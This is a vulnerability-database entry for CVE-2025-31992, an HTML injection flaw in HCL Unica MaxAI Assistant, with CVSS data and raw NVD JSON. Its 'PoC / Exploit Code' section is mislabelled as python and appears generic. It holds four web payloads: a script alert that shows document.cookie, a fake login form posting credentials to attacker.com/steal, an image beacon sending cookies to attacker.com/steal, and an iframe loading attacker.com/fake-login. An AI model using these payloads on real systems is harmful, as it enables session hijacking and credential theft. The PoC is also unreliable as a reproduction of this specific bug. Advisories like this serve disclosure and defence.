Security Vulnerability Report
中文
CVE-2025-31992 CVSS 4.6 MEDIUM

CVE-2025-31992

Published: 2025-10-12 06:15:47
Last Modified: 2026-04-15 00:35:42

Description

HCL Unica MaxAI Assistant is susceptible to a HTML injection vulnerability. An attacker could insert special characters that are processed client-side in the context of the user's session.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HCL Unica MaxAI Assistant 所有受影响版本(具体版本范围请参考HCL官方安全公告KB0124424)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-31992 - HCL Unica MaxAI Assistant HTML Injection PoC --> <!-- WARNING: This PoC is for educational and authorized testing purposes only --> <!-- Example 1: Basic HTML injection via input field --> <script> // Simulating malicious payload injection into MaxAI Assistant input var maliciousPayload = '<img src=x onerror="alert(\'Session stolen: \\' + document.cookie)">'; // Attacker submits the payload through a low-privilege account function injectPayload(inputField, payload) { // Find the target input element (e.g., chat input or query field) var targetInput = document.querySelector(inputField); if (targetInput) { targetInput.value = payload; // Submit the form or trigger the action targetInput.form.submit(); } } // Execute injection injectPayload('input[name="user_query"]', maliciousPayload); </script> <!-- Example 2: Stored HTML injection payload --> <!-- Payload that gets stored and rendered to other users --> <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"> <h1>Phishing Page</h1> <form action="https://attacker.com/steal" method="POST"> <input name="username" placeholder="Username"> <input name="password" type="password" placeholder="Password"> <button type="submit">Login</button> </form> </div> <!-- Example 3: Cookie theft via injected script --> <img src="invalid-image" onerror=" var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); "> <!-- Example 4: iframe injection for content spoofing --> <iframe src="https://attacker.com/fake-login" width="100%" height="500px" frameborder="0"></iframe>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31992", "sourceIdentifier": "[email protected]", "published": "2025-10-12T06:15:47.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica MaxAI Assistant is susceptible to a HTML injection vulnerability. An attacker could insert special characters that are processed client-side in the context of the user's session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124424", "source": "[email protected]"}]}}